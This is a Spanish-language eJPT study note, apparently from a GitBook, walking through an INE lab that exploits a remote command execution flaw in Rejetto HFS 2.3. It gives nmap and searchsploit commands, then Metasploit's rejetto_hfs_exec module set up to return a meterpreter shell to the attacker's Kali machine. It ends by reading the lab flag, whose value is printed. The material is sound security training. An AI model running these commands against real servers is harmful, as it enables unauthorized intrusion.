> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/explotacion/explotacion-de-windows/explotando-un-servidor-de-archivos-http-vulnerable.md).
# Explotando un servidor de archivos HTTP vulnerable
### 馃Ь 驴Qu茅 es un HTTP File Server?
Un **HTTP File Server (HFS)** es un tipo de servidor web dise帽ado para el **compartir archivos y documentos** a trav茅s de la red. Normalmente utilizan el protocolo HTTP y operan sobre el puerto **TCP 80**.
Uno de los HFS m谩s populares es **Rejetto HFS**, una aplicaci贸n gratuita y de c贸digo abierto que puede ser instalada tanto en sistemas Windows como Linux.
***
### 鈿狅笍 Vulnerabilidad en Rejetto HFS v2.3
La versi贸n **2.3 de Rejetto HFS** contiene una **vulnerabilidad de ejecuci贸n remota de comandos (RCE)**. Esta falla permite que un atacante, sin autenticaci贸n previa, pueda ejecutar comandos arbitrarios en el sistema que est谩 ejecutando el servidor vulnerable.
***
## 馃И Laboratorio Pr谩ctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la m谩quina Kali.
**Paso 2:** Ejecute un escaneo de Nmap contra el objetivo.
**Dominio:**
```
nmap --top-ports 65536 demo.ine.local
```
**Paso 3:** Hemos detectado que varios puertos est谩n abiertos. Ejecutaremos nmap de nuevo para determinar la versi贸n del puerto 80.
**Dominio:**
```
nmap -sV -p 80 demo.ine.local
```
**Paso 4:** Buscaremos el m贸dulo de explotaci贸n del servidor de archivos hfs usando searchsploit.
**Dominio:**
```
searchsploit hfs
```
**Paso 5:** El servidor de archivos HTTP Rejetto (HFS) 2.3 es vulnerable a RCE. Se est谩 explotando el servidor objetivo mediante Metasploit.
**Comandos:**
```
msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RPORT 80
set RHOSTS demo.ine.local
set LHOST
exploit
```
**Nota:** utilice la IP de la m谩quina Kali atacante para LHOST.
Hemos explotado con 茅xito la aplicaci贸n vulnerable de destino (hfs) y recibimos un shell meterpreter.
**Paso 6:** Buscando la bandera.
**Dominio:**
```
shell
cd /
dir
type flag.txt
```
Esto nos revela la bandera.
Bandera: f74c8347798f4082daf4b4570dba094a
#### Conclusi贸n
En este laboratorio, aprendimos c贸mo se puede explotar una aplicaci贸n de servidor HFS.
Referencias
1. [Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution](https://www.exploit-db.com/exploits/39161)
2. [Metasploit Module](https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec)